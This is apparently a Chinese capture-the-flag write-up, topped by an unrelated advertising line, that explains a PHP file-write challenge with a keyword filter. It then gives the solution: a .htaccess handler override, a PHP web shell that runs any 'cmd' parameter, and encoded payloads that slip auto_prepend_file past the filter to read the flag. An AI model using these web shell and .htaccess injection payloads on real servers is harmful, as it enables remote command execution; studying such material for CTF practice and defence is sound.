webmaster網(wǎng)站制作地推接單正規(guī)平臺(tái)
進(jìn)入靶場(chǎng)?
<?php// 使用 scandir 函數(shù)掃描當(dāng)前目錄(即腳本所在目錄)下的所有文件和文件夾// 該函數(shù)會(huì)返回一個(gè)包含目錄下所有文件和文件夾名稱的數(shù)組$files = scandir('./'); // 遍歷掃描得到的文件和文件夾名稱數(shù)組foreach($files as $file) {// 使用 is_file 函數(shù)檢查當(dāng)前遍歷到的元素是否為一個(gè)文件if(is_file($file)){// 檢查當(dāng)前文件是否不是 "index.php"if ($file !== "index.php") {// 如果不是 "index.php",則使用 unlink 函數(shù)刪除該文件unlink($file);}}}// 檢查 GET 請(qǐng)求中是否缺少 'content' 或 'filename' 參數(shù)if(!isset($_GET['content']) || !isset($_GET['filename'])) {// 如果缺少參數(shù),使用 highlight_file 函數(shù)高亮顯示當(dāng)前腳本文件的源代碼highlight_file(__FILE__);// 終止腳本執(zhí)行die();}// 從 GET 請(qǐng)求中獲取 'content' 參數(shù)的值,并賦值給 $content 變量$content = $_GET['content'];// 使用 stristr 函數(shù)檢查 $content 中是否包含特定的敏感關(guān)鍵詞// stristr 函數(shù)用于不區(qū)分大小寫(xiě)地查找字符串在另一個(gè)字符串中首次出現(xiàn)的位置if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {// 如果包含敏感關(guān)鍵詞,輸出 "Hacker" 提示信息echo "Hacker";// 終止腳本執(zhí)行die();}// 從 GET 請(qǐng)求中獲取 'filename' 參數(shù)的值,并賦值給 $filename 變量$filename = $_GET['filename'];// 使用 preg_match 函數(shù)檢查 $filename 是否包含除小寫(xiě)字母和點(diǎn)號(hào)之外的字符// 正則表達(dá)式 "/[^a-z\.]/" 表示匹配除小寫(xiě)字母和點(diǎn)號(hào)之外的任意字符if(preg_match("/[^a-z\.]/", $filename) == 1) {// 如果包含非法字符,輸出 "Hacker" 提示信息echo "Hacker";// 終止腳本執(zhí)行die();}// 再次掃描當(dāng)前目錄下的所有文件和文件夾// 這一步重復(fù)前面的文件刪除操作,確保在處理新文件之前目錄中除了 "index.php" 沒(méi)有其他文件$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}// 使用 file_put_contents 函數(shù)將 $content 的內(nèi)容追加 "Hello, world" 后寫(xiě)入指定的文件// 若文件不存在,會(huì)創(chuàng)建該文件;若存在,則會(huì)覆蓋原有內(nèi)容file_put_contents($filename, $content . "\nHello, world");
?>
?這段 PHP 代碼的主要功能是先刪除當(dāng)前目錄下除?index.php
?之外的所有文件,然后檢查 GET 請(qǐng)求中是否包含?content
?和?filename
?參數(shù)。如果參數(shù)存在,會(huì)進(jìn)一步檢查?content
?中是否包含敏感關(guān)鍵詞,以及?filename
?是否包含非法字符。若都通過(guò)檢查,會(huì)再次刪除當(dāng)前目錄下除?index.php
?之外的所有文件,最后將?content
?內(nèi)容追加?"Hello, world"
?后寫(xiě)入指定的文件。
需要上傳兩個(gè)文件,一個(gè).txt文件執(zhí)行命令,一個(gè).htaccess文件解析.txt文件
.htaccess
<FilesMatch "\.txt$">SetHandler application/x-httpd-php
</FilesMatch>
.txt
<?php
if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);
}
?>
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl'a'g")?>\&filename=.htaccess
?